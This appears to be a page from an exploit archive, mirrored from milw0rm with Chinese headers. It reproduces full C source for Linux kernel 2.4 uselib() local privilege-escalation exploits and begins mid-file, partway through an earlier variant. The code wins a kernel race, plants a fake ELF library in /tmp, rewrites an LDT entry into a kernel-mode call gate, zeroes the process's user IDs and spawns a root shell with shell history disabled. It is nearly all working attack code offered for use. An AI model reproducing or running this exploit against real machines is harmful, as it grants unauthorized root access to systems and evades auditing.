		if(ccnt) goto failed;

		if( !silent && !(pcnt%64) ) {
			printf("\r    Wait... %c", smiley[ (pcnt/64)%8 ]);
			fflush(stdout);
		}
		pcnt++;
	}

//	seems we raced, free mem
	r = sys_munmap(map_addr, map_base-map_addr + PAGE_SIZE);
	if(r) fatal("munmap 1", 0);
	r = sys_munmap(lib_addr, PAGE_SIZE);
	if(r) fatal("munmap 2", 0);

//	relax kswapd
	sys_gettimeofday(&tm1, NULL);
	for(;;) {
		sys_sched_yield();
		sys_gettimeofday(&tm2, NULL);
		delta = tmdiff(&tm1, &tm2);
		if( wtime*1000000U <= (unsigned)delta ) break;
	}

//	we need to check the PROT_EXEC flag
	map_flags = PROT_EXEC;
	check_vma_flags();
	if(!map_flags) {
		printf("\n    VMAs reversed"); fflush(stdout);
	}

//	write protect brk's VMA to fool vm_enough_memory()
	r = sys_mprotect((lib_addr + PAGE_SIZE), LIB_SIZE-PAGE_SIZE,
			 PROT_READ|map_flags);
	if(-1==r) { fatal("mprotect brk", 0); }

//	this will finally make the big VMA...
	sz = (0-lib_addr) - LIB_SIZE - PAGE_SIZE;
expand:
	r = sys_madvise((void*)(lib_addr + PAGE_SIZE),
			LIB_SIZE-PAGE_SIZE, MADV_NORMAL);
	if(r) fatal("madvise", 0);
	r = sys_mremap(lib_addr + LIB_SIZE-PAGE_SIZE,
			PAGE_SIZE, sz, MREMAP_MAYMOVE, 0);
	if(-1==r) {
		if(0==sz) {
			fatal("mremap: expand VMA", 0);
		} else {
			sz -= PAGE_SIZE;
			goto expand;
		}
	}
	vma_start = lib_addr + PAGE_SIZE;
	vma_end = vma_start + sz + 2*PAGE_SIZE;
	printf("\n    expanded VMA (0x%.8x-0x%.8x)", vma_start, vma_end);
	fflush(stdout);

//	try to figure kernel layout
	signal(SIGCHLD, reaper);
	signal(SIGSEGV, segvcnt);
	signal(SIGBUS, segvcnt);
	scan_mm_start();

failed:
	fatal("try again", 0);

}


//	make fake ELF library
void make_lib()
{
struct elfhdr eh;
struct elf_phdr eph;
static char tmpbuf[PAGE_SIZE];
int fd;

//	make our elf library
	umask(022);
	unlink(libname);
	fd=open(libname, O_RDWR|O_CREAT|O_TRUNC, 0755);
	if(fd<0) fatal("open lib ("LIBNAME" not writable?)", 0);
	memset(&eh, 0, sizeof(eh) );

//	elf exec header
	memcpy(eh.e_ident, ELFMAG, SELFMAG);
	eh.e_type = ET_EXEC;
	eh.e_machine = EM_386;
	eh.e_phentsize = sizeof(struct elf_phdr);
	eh.e_phnum = 1;
	eh.e_phoff = sizeof(eh);
	write(fd, &eh, sizeof(eh) );

//	section header:
	memset(&eph, 0, sizeof(eph) );
	eph.p_type = PT_LOAD;
	eph.p_offset = 4096;
	eph.p_filesz = 4096;
	eph.p_vaddr = lib_addr;
	eph.p_memsz = LIB_SIZE;
	eph.p_flags = PF_W|PF_R|PF_X;
	write(fd, &eph, sizeof(eph) );

//	execable code
	lseek(fd, 4096, SEEK_SET);
	memset(tmpbuf, 0x90, sizeof(tmpbuf) );
	write(fd, &tmpbuf, sizeof(tmpbuf) );
	close(fd);
}


//	move stack down #2
void prepare_finish()
{
int r;
static struct sysinfo si;

	old_esp &= ~(PAGE_SIZE-1);
	old_esp -= PAGE_SIZE;
	task_size = ((unsigned)old_esp + 1 GB ) / (1 GB) * 1 GB;
	r = sys_munmap(old_esp, task_size-old_esp);
	if(r) fatal("unmap stack", 0);

//	setup rt env
	uid = getuid();
	lib_addr = task_size - LIB_SIZE - PAGE_SIZE;
	if(map_base)
		map_addr = map_base;
	else
		map_base = map_addr = (lib_addr - PGD_SIZE) & ~(PGD_SIZE-1);
	printf("\n[+] moved stack %x, task_size=0x%.8x, map_base=0x%.8x",
		old_esp, task_size, map_base); fflush(stdout);

//	check physical mem & prepare
	sysinfo(&si);
	addr_min = task_size + si.totalram;
	addr_min = (addr_min + PGD_SIZE - 1) & ~(PGD_SIZE-1);
	addr_max = addr_min + si.totalram;
	if((unsigned)addr_max >= 0xffffe000 || (unsigned)addr_max < (unsigned)addr_min)
		addr_max = 0xffffd000;

	printf("\n[+] vmalloc area 0x%.8x - 0x%.8x", addr_min, addr_max);
	max_page = (addr_max - addr_min) / PAGE_SIZE;
	pagemap = malloc( max_page + 32 );
	if(!pagemap) fatal("malloc pagemap", 1);
	memset(pagemap, 0, max_page + 32);

//	go go
	make_lib();
	exploitme();
}


//	move stack down #1
void prepare()
{
unsigned p=0;

	environ = myenv;

	p = sys_mmap2( 0, STACK_SIZE, PROT_READ|PROT_WRITE,
		       MAP_PRIVATE|MAP_ANONYMOUS, 0, 0	);
	if(-1==p) fatal("mmap2 stack", 0);
	p += STACK_SIZE - 64;

	__asm__("movl	%%esp, %0	\n"
		"movl 	%1, %%esp	\n"
		: : "m"(old_esp), "m"(p)
	);

	prepare_finish();
}


void chldcnt(int v)
{
	ccnt++;
}


//	alloc slab objects...
inline void do_wipe()
{
int *r, c=0, left=0;

	__asm__("movl	%%esp, %0" : : "m"(old_esp) );

	old_esp = (old_esp - PGD_SIZE+1) & ~(PGD_SIZE-1);
	old_esp = map_base? map_base : old_esp;

	for(;;) {
		if(left<=0)
			left = get_slab_objs("vm_area_struct");
		if(left <= SLAB_THRSH)
			break;
		left--;

		map_flags ^= PROT_READ;
		old_esp -= PAGE_SIZE;
		r = (void*)sys_mmap2(old_esp, PAGE_SIZE, map_flags,
			MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0 );
		if(MAP_FAILED == r)
			break;

		if(c>SLAB_PER_CHLD)
			break;
		if( (c%1024)==0 ) {
			if(!c) printf("\n");
			printf("\r    child %d VMAs %d", val, c);
			fflush(stdout);
		}
		c++;
	}
	printf("\r    child %d VMAs %d", val, c);
	fflush(stdout);
	kill(getppid(), SIGUSR1);
	for(;;) pause();
}


//	empty SLAB caches
void wipe_slab()
{
	signal(SIGUSR1, chldcnt);
	printf("\n[+] SLAB cleanup"); fflush(stdout);
	for(;;) {
		ccnt=0;
		val++;
		cpid = fork();
		if(!cpid)
			do_wipe();

		while(!ccnt) sys_sched_yield();
		if( get_slab_objs("vm_area_struct") <= SLAB_THRSH )
			break;
	}
	signal(SIGUSR1, SIG_DFL);
}


void usage(char *n)
{
	printf("\nUsage: %s\t-f forced stop\n", n);
	printf("\t\t-s silent mode\n");
	printf("\t\t-c command to run\n");
	printf("\t\t-n SMP iterations\n");
	printf("\t\t-d race delta us\n");
	printf("\t\t-w wait time seconds\n");
	printf("\t\t-l alternate lib name\n");
	printf("\t\t-a alternate addr hex\n");
	printf("\n");
	_exit(1);
}


//	give -s for forced stop, -b to clean SLAB
int main(int ac, char **av)
{
int r;

	while(ac) {
		r = getopt(ac, av, "n:l:a:w:c:d:fsh");
		if(r<0) break;

		switch(r) {

		case 'f' :
			fstop = 1;
			break;

		case 's' :
			silent = 1;
			break;

		case 'n' :
			smp_max = atoi(optarg);
			break;

		case 'd':
			if(1!=sscanf(optarg, "%u", &delta_max) || delta_max > 100000u )
				fatal("bad delta value", 0);
			break;

		case 'w' :
			wtime = atoi(optarg);
			if(wtime<0) fatal("bad wait value", 0);
			break;

		case 'l' :
			libname = strdup(optarg);
			break;

		case 'c' :
			shellname = strdup(optarg);
			break;

		case 'a' :
			if(1!=sscanf(optarg, "%x", &map_base))
				fatal("bad addr value", 0);
			map_base &= ~(PGD_SIZE-1);
			break;

		case 'h' :
		default:
			usage(av[0]);
			break;
		}
	}

//	basic setup
	uid = getuid();
	setpgrp();
	wipe_slab();
	prepare();

return 0;
}

// milw0rm.com [2005-01-07]
		

- 漏洞信息 (778)

Linux Kernel 2.4 uselib() Privilege Elevation Exploit (EDBID:778)
linux local
2005-01-27 Verified
0 Tim Hsu
N/A [点击下载]
/*
 * Linux kernel 2.4 uselib() privilege elevation exploit.
 *
 * original exploit source from http://isec.pl
 * reference: http://isec.pl/vulnerabilities/isec-0021-uselib.txt
 *
 * I modified the Paul Starzetz's exploit, made it more possible
 * to race successfully. The exploit still works only on 2.4 series.  
 * It should be also works on 2.4 SMP, but not easy. 
 *
 * thx newbug.
 *
 * Tim Hsu <timhsu at chroot.org> Jan 2005.
 *
 */
 
#define _GNU_SOURCE

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <sched.h>
#include <syscall.h>
#include <limits.h>

#include <sys/types.h>
#include <sys/wait.h>
#include <sys/time.h>
#include <sys/mman.h>
#include <sys/sysinfo.h>

#include <linux/elf.h>
#include <linux/linkage.h>

#include <asm/page.h>
#include <asm/ldt.h>
#include <asm/segment.h>

#define str(s) #s
#define xstr(s) str(s)

#define MREMAP_MAYMOVE  1


//	temp lib location
#define LIBNAME 	"/tmp/_elf_lib"

//	shell name
#define	SHELL		"/bin/bash"

//	time delta to detect race
#define RACEDELTA	5000

//	if you have more deadbabes in memory, change this
#define MAGIC		0xdeadbabe


//	do not touch
#define	SLAB_THRSH	128
#define	SLAB_PER_CHLD	(INT_MAX - 1)
#define LIB_SIZE	( PAGE_SIZE * 4 )
#define STACK_SIZE	( PAGE_SIZE * 4 )

#define LDT_PAGES	( (LDT_ENTRIES*LDT_ENTRY_SIZE+PAGE_SIZE-1)/PAGE_SIZE )

#define ENTRY_GATE	( LDT_ENTRIES-1 )
#define SEL_GATE	( (ENTRY_GATE<<3)|0x07 )

#define ENTRY_LCS	( ENTRY_GATE-2 )
#define SEL_LCS		( (ENTRY_LCS<<3)|0x04 )

#define ENTRY_LDS	( ENTRY_GATE-1 )
#define SEL_LDS		( (ENTRY_LDS<<3)|0x04 )

#define kB		* 1024
#define MB		* 1024 kB
#define GB		* 1024 MB

#define TMPLEN		256
#define PGD_SIZE	( PAGE_SIZE*1024 )


extern char **environ;

static char cstack[STACK_SIZE];
static char name[TMPLEN];
static char line[TMPLEN];

static pid_t consume_pid;

static volatile int
	val = 0,
	go = 0,
	finish = 0,
	scnt = 0,
	ccnt=0,
	delta = 0,
	delta_max = RACEDELTA,
	map_flags = PROT_WRITE|PROT_READ;


static int
	fstop=0,
	silent=0,
	pidx,
	pnum=0,
	smp_max=0,
	smp,
	wtime=2,
	cpid,
	uid,
	task_size,
	old_esp,
	lib_addr,
	map_count=0,
	map_base=0,
	map_addr,
	addr_min,
	addr_max,
	vma_start,
	vma_end,
	max_page;


static struct timeval tm1, tm2;

static char *myenv[] = {"TERM=vt100",
			"HISTFILE=/dev/null",
			NULL};

static char hellc0de[] = "\x49\x6e\x74\x65\x6c\x65\x63\x74\x75\x61\x6c\x20\x70\x72\x6f\x70"
                         "\x65\x72\x74\x79\x20\x6f\x66\x20\x49\x68\x61\x51\x75\x65\x52\x00";


static char *pagemap, *libname=LIBNAME, *shellname=SHELL;



#define __NR_sys_gettimeofday	__NR_gettimeofday
#define __NR_sys_sched_yield	__NR_sched_yield
#define __NR_sys_madvise	__NR_madvise
#define __NR_sys_uselib		__NR_uselib
#define __NR_sys_mmap2		__NR_mmap2
#define __NR_sys_munmap		__NR_munmap
#define __NR_sys_mprotect	__NR_mprotect
#define __NR_sys_mremap		__NR_mremap

inline _syscall6(int, sys_mmap2, int, a, int, b, int, c, int, d, int, e, int, f);

inline _syscall5(int, sys_mremap, int, a, int, b, int, c, int, d, int, e);

inline _syscall3(int, sys_madvise, void*, a, int, b, int, c);
inline _syscall3(int, sys_mprotect, int, a, int, b, int, c);
inline _syscall3( int, modify_ldt, int, func, void *, ptr, int, bytecount );

inline _syscall2(int, sys_gettimeofday, void*, a, void*, b);
inline _syscall2(int, sys_munmap, int, a, int, b);

inline _syscall1(int, sys_uselib, char*, l);

inline _syscall0(void, sys_sched_yield);

 
int consume_memory()
{
	struct sysinfo info;
	char *vmem;
	
	sysinfo(&info);
	vmem = malloc(info.freeram);
	if (vmem == NULL)
	{
		perror("malloc");
		return -1;
	}
	memset(vmem, 0x90, info.freeram);

}


inline int tmdiff(struct timeval *t1, struct timeval *t2)
{
int r;

	r=t2->tv_sec - t1->tv_sec;
	r*=1000000;
	r+=t2->tv_usec - t1->tv_usec;
return r;
}


void fatal(const char *message, int critical)
{
int sig = critical? SIGSTOP : (fstop? SIGSTOP : SIGKILL);

	if(!errno) {
		fprintf(stdout, "\n[-] FAILED: %s ", message);
	} else {
		fprintf(stdout, "\n[-] FAILED: %s (%s) ", message,
			(char*) (strerror(errno)) );
	}
	if(critical)
		printf("\nCRITICAL, entering endless loop");
	printf("\n");
	fflush(stdout);

	unlink(libname);
	kill(cpid, SIGKILL);
	for(;;) kill(0, sig);
}


//	try to race do_brk sleeping on kmalloc, may need modification for SMP
int raceme(void* v)
{
	finish=1;

	for(;;) {
		errno = 0;

//	check if raced:
recheck:
		if(!go) sys_sched_yield();
		sys_gettimeofday(&tm2, NULL);
		delta = tmdiff(&tm1, &tm2);
		if(!smp_max && delta < (unsigned)delta_max) goto recheck;
		smp = smp_max;

//	check if lib VMAs exist as expected under race condition
recheck2:
		val = sys_madvise((void*) lib_addr, PAGE_SIZE, MADV_NORMAL);
		if(val) continue;
		errno = 0;
		val = sys_madvise((void*) (lib_addr+PAGE_SIZE),
				LIB_SIZE-PAGE_SIZE, MADV_NORMAL);
		if( !val || (val<0 && errno!=ENOMEM) ) continue;

//	SMP?
		smp--;
		if(smp>=0) goto recheck2;

//	recheck race
		if(!go) continue;
		finish++;

//	we need to free one vm_area_struct for mmap to work
		val = sys_mprotect(map_addr, PAGE_SIZE, map_flags);
		if(val) fatal("mprotect", 0);
		val = sys_mmap2(lib_addr + PAGE_SIZE, PAGE_SIZE*3, PROT_NONE,
			      MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);
		if(-1==val) fatal("mmap2 race", 0);
		printf("\n[+] race won maps=%d", map_count); fflush(stdout);
		kill(consume_pid, SIGKILL);
		_exit(0);
	}

return 0;
}


int callme_1()
{
	return val++;
}


inline int valid_ptr(unsigned ptr)
{
	return ptr>=task_size && ptr<addr_min-16;
}


inline int validate_vma(unsigned *p, unsigned s, unsigned e)
{
unsigned *t;

	if(valid_ptr(p[0]) && valid_ptr(p[3]) && p[1]==s && p[2]==e) {
		t=(unsigned*)p[3];
		if( t[0]==p[0] && t[1]<=task_size && t[2]<=task_size )
			return 1;
	}
	return 0;
}


asmlinkage void kernel_code(unsigned *task)
{
unsigned *addr = task;

//	find & reset uids
	while(addr[0] != uid || addr[1] != uid ||
	      addr[2] != uid || addr[3] != uid)
		addr++;

	addr[0] = addr[1] = addr[2] = addr[3] = 0;
	addr[4] = addr[5] = addr[6] = addr[7] = 0;

//	find & correct VMA
	for(addr=(unsigned *)task_size; (unsigned)addr<addr_min-16; addr++) {
		if( validate_vma(addr, vma_start, vma_end) ) {
			addr[1] = task_size - PAGE_SIZE;
			addr[2] = task_size;
			break;
		}
	}
}


void kcode(void);

//	CPL0 code mostly stolen from cliph
void __kcode(void)
{
asm(
	"kcode:						\n"
	"	pusha					\n"
	"	pushl	%es				\n"
	"	pushl	%ds				\n"
	"	movl	$(" xstr(SEL_LDS) ") ,%edx	\n"
	"	movl	%edx,%es			\n"
	"	movl	%edx,%ds			\n"
	"	movl	$0xffffe000,%eax		\n"
	"	andl	%esp,%eax			\n"
	"	pushl	%eax				\n"
	"	call	kernel_code			\n"
	"	addl	$4, %esp			\n"
	"	popl	%ds				\n"
	"	popl	%es				\n"
	"	popa					\n"
	"	lret					\n"
    );
}


int callme_2()
{
	return val + task_size + addr_min;
}


void sigfailed(int v)
{
	ccnt++;
	fatal("lcall", 1);
}


//	modify LDT & exec
void try_to_exploit(unsigned addr)
{
volatile int r, *v;

	printf("\n[!] try to exploit 0x%.8x", addr); fflush(stdout);
	unlink(libname);

	r = sys_mprotect(addr, PAGE_SIZE, PROT_READ|PROT_WRITE|map_flags);
	if(r) fatal("mprotect 1", 1);

//	check if really LDT
	v = (void*) (addr + (ENTRY_GATE*LDT_ENTRY_SIZE % PAGE_SIZE) );
	signal(SIGSEGV, sigfailed);
	r = *v;
	if(r != MAGIC) {
		printf("\n[-] FAILED val = 0x%.8x", r); fflush(stdout);
		fatal("find LDT", 1);
	}

//	yeah, setup CPL0 gate
	v[0] = ((unsigned)(SEL_LCS)<<16) | ((unsigned)kcode & 0xffffU);
	v[1] = ((unsigned)kcode & ~0xffffU) | 0xec00U;
	printf("\n[+] gate modified ( 0x%.8x 0x%.8x )", v[0], v[1]); fflush(stdout);

//	setup CPL0 segment descriptors (we need the 'accessed' versions ;-)
	v = (void*) (addr + (ENTRY_LCS*LDT_ENTRY_SIZE % PAGE_SIZE) );
	v[0] = 0x0000ffff; /* kernel 4GB code at 0x00000000 */
	v[1] = 0x00cf9b00;

	v = (void*) (addr + (ENTRY_LDS*LDT_ENTRY_SIZE % PAGE_SIZE) );
	v[0] = 0x0000ffff; /* kernel 4GB data at 0x00000000 */
	v[1] = 0x00cf9300;

//	reprotect to get only one big VMA
	r = sys_mprotect(addr, PAGE_SIZE, PROT_READ|map_flags);
	if(r) fatal("mprotect 2", 1);

//	CPL0 transition
	sys_sched_yield();
	val = callme_1() + callme_2();
	asm("lcall $" xstr(SEL_GATE) ",$0x0");
	//if( getuid()==0 || (val==31337 && strlen(hellc0de)==31337) ) {
	if (getuid()==0) {
		printf("\n[+] exploited, uid=0\n\n" ); fflush(stdout);
	} else {
		printf("\n[-] uid change failed" ); fflush(stdout);
		sigfailed(0);
	}
	signal(SIGTERM, SIG_IGN);
	kill(0, SIGTERM);
	setresuid(0, 0, 0);
	execl(shellname, "sh", NULL);
	fatal("execl", 0);
}


void scan_mm_finish();
void scan_mm_start();


//	kernel page table scan code
void scan_mm()
{
	map_addr -= PAGE_SIZE;
	if(map_addr <= (unsigned)addr_min)
		scan_mm_start();

	scnt=0;
	val = *(int*)map_addr;
	scan_mm_finish();
}


void scan_mm_finish()
{
retry:
	__asm__("movl	%0, %%esp" : :"m"(old_esp) );

	if(scnt) {
		pagemap[pidx] ^= 1;
	}
	else {
		sys_madvise((void*)map_addr, PAGE_SIZE, MADV_DONTNEED);
	}
	pidx--;
	scan_mm();
	goto retry;
}


//	make kernel page maps before and after allocating LDT
void scan_mm_start()
{
static int npg=0;
static struct modify_ldt_ldt_s l;
//static struct user_desc l;
	pnum++;
	if(pnum==1) {
		pidx = max_page-1;
	}
	else if(pnum==2) {
		memset(&l, 0, sizeof(l));
		l.entry_number = LDT_ENTRIES-1;
		l.seg_32bit = 1;
		l.base_addr = MAGIC >> 16;
		l.limit = MAGIC & 0xffff;
		l.limit_in_pages = 1;
		if( modify_ldt(1, &l, sizeof(l)) != 0 )
			fatal("modify_ldt", 1);
		pidx = max_page-1;
	}
	else if(pnum==3) {
		npg=0;
		for(pidx=0; pidx<=max_page-1; pidx++) {
			if(pagemap[pidx]) {
				npg++;
			}
			else if(npg == LDT_PAGES) {
				npg=0;
				try_to_exploit(addr_min+(pidx-1)*PAGE_SIZE);
			} else {
				npg=0;
			}
		}
		fatal("find LDT", 1);
	}

//	save context & scan page table
	__asm__("movl	%%esp, %0" : :"m"(old_esp) );
	map_addr = addr_max;
	scan_mm();
}


//	return number of available SLAB objects in cache
int get_slab_objs(const char *sn)
{
static int c, d, u = 0, a = 0;
FILE *fp=NULL;
char x1[20];

	fp = fopen("/proc/slabinfo", "r");
	if(!fp)
		fatal("get_slab_objs: fopen", 0);
	fgets(name, sizeof(name) - 1, fp);
	do {
		c = u = a = -1;
		if (!fgets(line, sizeof(line) - 1, fp))
			break;
		c = sscanf(line, "%s %u %u %u %u %u %u", name, &u, &a,
			   &d, &d, &d, &d);
	} while (strcmp(name, sn));
	close(fileno(fp));
	fclose(fp);
	return c == 7 ? a - u : -1;
}

long memmaped_size = 0;

//	leave one object in the SLAB
inline void prepare_slab()
{
int *r;

	map_addr -= PAGE_SIZE;
	map_count++;
	map_flags ^= PROT_READ;
		
	r = (void*)sys_mmap2((unsigned)map_addr, PAGE_SIZE, map_flags,
			     MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);
	if(MAP_FAILED == r) {
		printf("--> prepare_slab(), %dMb\n", memmaped_size/1024/1024);
		fatal("try again", 0);
	}
	memmaped_size += PAGE_SIZE;
	*r = map_addr;
}


//	sig handlers
void segvcnt(int v)
{
	scnt++;
	scan_mm_finish();
}


//	child reap
void reaper(int v)
{
	ccnt++;
	waitpid(0, &v, WNOHANG|WUNTRACED);
}


//	sometimes I get the VMAs in reversed order...
//	so just use anyone of the two but take care about the flags
void check_vma_flags();

void vreversed(int v)
{
	map_flags = 0;
	check_vma_flags();
}


void check_vma_flags()
{
	if(map_flags) {
		__asm__("movl	%%esp, %0" : :"m"(old_esp) );
	} else {
		__asm__("movl	%0, %%esp" : :"m"(old_esp) );
		goto out;
	}
	signal(SIGSEGV, vreversed);
	val = * (unsigned*)(lib_addr + PAGE_SIZE);
out:
}


//	use elf library and try to sleep on kmalloc
void exploitme()
{
int r, sz, pcnt=0;
static char smiley[]="-\\|/-\\|/";

//	printf("\n    cat /proc/%d/maps", getpid() ); fflush(stdout);
//	helper clone
	finish=0; ccnt=0;
	sz = sizeof(cstack) / sizeof(cstack[0]);
	cpid = clone(&raceme, (void*) &cstack[sz-16],
			CLONE_VM|CLONE_SIGHAND|CLONE_FS|SIGCHLD, NULL );
	if(-1==cpid) fatal("clone", 0);

//	synchronize threads
	while(!finish) sys_sched_yield();
	finish=0;
	if(!silent) {
		printf("\n"); fflush(stdout);
	}

//	try to hit the kmalloc race
	for(;;) {

		r = get_slab_objs("vm_area_struct");
		//printf("\nfree slab = %d\n",r);
		while(r != 1 && r > 0) {
			prepare_slab();
			r--;
		}

		sys_gettimeofday(&tm1, NULL);
		go = 1;
		r=sys_uselib(libname);
		go = 0;
		if(r) fatal("uselib", 0);
		if(finish) break;

//	wipe lib VMAs and try again
		r = sys_munmap(lib_addr, LIB_SIZE);
		if(r) fatal("munmap lib", 0);
		if(ccnt) goto failed;

		if( !silent && !(pcnt%64) ) {
			printf("\r    Wait... %c", smiley[ (pcnt/64)%8 ]);
			fflush(stdout);
		}
		pcnt++;
	}

//	seems we raced, free mem
	r = sys_munmap(map_addr, map_base-map_addr + PAGE_SIZE);
	if(r) fatal("munmap 1", 0);
	r = sys_munmap(lib_addr, PAGE_SIZE);
	if(r) fatal("munmap 2", 0);
	
//	relax kswapd
	sys_gettimeofday(&tm1, NULL);
	for(;;) {
		sys_sched_yield();
		sys_gettimeofday(&tm2, NULL);
		delta = tmdiff(&tm1, &tm2);
		if( wtime*1000000U <= (unsigned)delta ) break;
	}

//	we need to check the PROT_EXEC flag
	map_flags = PROT_EXEC;
	check_vma_flags();
	if(!map_flags) {
		printf("\n    VMAs reversed"); fflush(stdout);
	}

//	write protect brk's VMA to fool vm_enough_memory()
	r = sys_mprotect((lib_addr + PAGE_SIZE), LIB_SIZE-PAGE_SIZE,
			 PROT_READ|map_flags);
	if(-1==r) { fatal("mprotect brk", 0); }

//	this will finally make the big VMA...
	sz = (0-lib_addr) - LIB_SIZE - PAGE_SIZE;
expand:
	r = sys_madvise((void*)(lib_addr + PAGE_SIZE),
			LIB_SIZE-PAGE_SIZE, MADV_NORMAL);
	if(r) fatal("madvise", 0);
	r = sys_mremap(lib_addr + LIB_SIZE-PAGE_SIZE,
			PAGE_SIZE, sz, MREMAP_MAYMOVE, 0);
	if(-1==r) {
		if(0==sz) {
			fatal("mremap: expand VMA", 0);
		} else {
			sz -= PAGE_SIZE;
			goto expand;
		}
	}
	vma_start = lib_addr + PAGE_SIZE;
	vma_end = vma_start + sz + 2*PAGE_SIZE;
	printf("\n    expanded VMA (0x%.8x-0x%.8x)", vma_start, vma_end);
	fflush(stdout);

//	try to figure kernel layout
	signal(SIGCHLD, reaper);
	signal(SIGSEGV, segvcnt);
	signal(SIGBUS, segvcnt);
	scan_mm_start();

failed:
	printf("failed:\n");
	fatal("try again", 0);

}


//	make fake ELF library
void make_lib()
{
struct elfhdr eh;
struct elf_phdr eph;
static char tmpbuf[PAGE_SIZE];
int fd;

//	make our elf library
	umask(022);
	unlink(libname);
	fd=open(libname, O_RDWR|O_CREAT|O_TRUNC, 0755);
	if(fd<0) fatal("open lib ("LIBNAME" not writable?)", 0);
	memset(&eh, 0, sizeof(eh) );

//	elf exec header
	memcpy(eh.e_ident, ELFMAG, SELFMAG);
	eh.e_type = ET_EXEC;
	eh.e_machine = EM_386;
	eh.e_phentsize = sizeof(struct elf_phdr);
	eh.e_phnum = 1;
	eh.e_phoff = sizeof(eh);
	write(fd, &eh, sizeof(eh) );

//	section header:
	memset(&eph, 0, sizeof(eph) );
	eph.p_type = PT_LOAD;
	eph.p_offset = 4096;
	eph.p_filesz = 4096;
	eph.p_vaddr = lib_addr;
	eph.p_memsz = LIB_SIZE;
	eph.p_flags = PF_W|PF_R|PF_X;
	write(fd, &eph, sizeof(eph) );

//	execable code
	lseek(fd, 4096, SEEK_SET);
	memset(tmpbuf, 0x90, sizeof(tmpbuf) );
	write(fd, &tmpbuf, sizeof(tmpbuf) );
	close(fd);
}


//	move stack down #2
void prepare_finish()
{
int r;
static struct sysinfo si;

	old_esp &= ~(PAGE_SIZE-1);
	old_esp -= PAGE_SIZE;
	task_size = ((unsigned)old_esp + 1 GB ) / (1 GB) * 1 GB;
	r = sys_munmap(old_esp, task_size-old_esp);
	if(r) fatal("unmap stack", 0);

//	setup rt env
	uid = getuid();
	lib_addr = task_size - LIB_SIZE - PAGE_SIZE;
	if(map_base)
		map_addr = map_base;
	else
		map_base = map_addr = (lib_addr - PGD_SIZE) & ~(PGD_SIZE-1);
	printf("\n[+] moved stack %x, task_size=0x%.8x, map_base=0x%.8x",
		old_esp, task_size, map_base); fflush(stdout);

//	check physical mem & prepare
	sysinfo(&si);
	addr_min = task_size + si.totalram;
	addr_min = (addr_min + PGD_SIZE - 1) & ~(PGD_SIZE-1);
	addr_max = addr_min + si.totalram;
	if((unsigned)addr_max >= 0xffffe000 || (unsigned)addr_max < (unsigned)addr_min)
		addr_max = 0xffffd000;

	printf("\n[+] vmalloc area 0x%.8x - 0x%.8x", addr_min, addr_max);
	max_page = (addr_max - addr_min) / PAGE_SIZE;
	pagemap = malloc( max_page + 32 );
	if(!pagemap) fatal("malloc pagemap", 1);
	memset(pagemap, 0, max_page + 32);

//	go go
	make_lib();
	exploitme();
}


//	move stack down #1
void prepare()
{
unsigned p=0;

	environ = myenv;

	p = sys_mmap2( 0, STACK_SIZE, PROT_READ|PROT_WRITE,
		       MAP_PRIVATE|MAP_ANONYMOUS, 0, 0	);
	if(-1==p) fatal("mmap2 stack", 0);
	p += STACK_SIZE - 64;

	__asm__("movl	%%esp, %0	\n"
		"movl 	%1, %%esp	\n"
		: : "m"(old_esp), "m"(p)
	);

	prepare_finish();
}


void chldcnt(int v)
{
	ccnt++;
}


//	alloc slab objects...
inline void do_wipe()
{
int *r, c=0, left=0;

	__asm__("movl	%%esp, %0" : : "m"(old_esp) );

	old_esp = (old_esp - PGD_SIZE+1) & ~(PGD_SIZE-1);
	old_esp = map_base? map_base : old_esp;

	for(;;) {
		if(left<=0)
			left = get_slab_objs("vm_area_struct");
		if(left <= SLAB_THRSH)
			break;
		left--;

		map_flags ^= PROT_READ;
		old_esp -= PAGE_SIZE;
		r = (void*)sys_mmap2(old_esp, PAGE_SIZE, map_flags,
			MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0 );
		if(MAP_FAILED == r)
			break;

		if(c>SLAB_PER_CHLD)
			break;
		if( (c%1024)==0 ) {
			if(!c) printf("\n");
			printf("\r    child %d VMAs %d", val, c);
			fflush(stdout);
		}
		c++;
	}
	printf("\r    child %d VMAs %d", val, c);
	fflush(stdout);
	kill(getppid(), SIGUSR1);
	for(;;) pause();
}


//	empty SLAB caches
void wipe_slab()
{
	signal(SIGUSR1, chldcnt);
	printf("\n[+] SLAB cleanup"); fflush(stdout);
	for(;;) {
		ccnt=0;
		val++;
		cpid = fork();
		if(!cpid)
			do_wipe();

		while(!ccnt) sys_sched_yield();
		if( get_slab_objs("vm_area_struct") <= SLAB_THRSH )
			break;
	}
	signal(SIGUSR1, SIG_DFL);
}


void usage(char *n)
{
	printf("\nUsage: %s\t-f forced stop\n", n);
	printf("\t\t-s silent mode\n");
	printf("\t\t-c command to run\n");
	printf("\t\t-n SMP iterations\n");
	printf("\t\t-d race delta us\n");
	printf("\t\t-w wait time seconds\n");
	printf("\t\t-l alternate lib name\n");
	printf("\t\t-a alternate addr hex\n");
	printf("\n");
	_exit(1);
}


//	give -s for forced stop, -b to clean SLAB
int main(int ac, char **av)
{
int r;

	while(ac) {
		r = getopt(ac, av, "n:l:a:w:c:d:fsh");
		if(r<0) break;

		switch(r) {

		case 'f' :
			fstop = 1;
			break;

		case 's' :
			silent = 1;
			break;

		case 'n' :
			smp_max = atoi(optarg);
			break;

		case 'd':
			if(1!=sscanf(optarg, "%u", &delta_max) || delta_max > 100000u )
				fatal("bad delta value", 0);
			break;

		case 'w' :
			wtime = atoi(optarg);
			if(wtime<0) fatal("bad wait value", 0);
			break;

		case 'l' :
			libname = strdup(optarg);
			break;

		case 'c' :
			shellname = strdup(optarg);
			break;

		case 'a' :
			if(1!=sscanf(optarg, "%x", &map_base))
				fatal("bad addr value", 0);
			map_base &= ~(PGD_SIZE-1);
			break;

		case 'h' :
		default:
			usage(av[0]);
			break;
		}
	}
	consume_pid = fork();
	
	if (consume_pid == 0)
	{
		consume_memory();
		pause();
		return 0;
	}
//	basic setup
	uid = getuid();
	setpgrp();
	wipe_slab();
	prepare();

return 0;
}

// milw0rm.com [2005-01-27]
		

- 漏洞信息 (895)

Linux Kernel 2.4.x / 2.6.x uselib() Local Privilege Escalation Exploit (EDBID:895)
linux local
2005-03-22 Verified
0 sd
N/A [点击下载]
/*
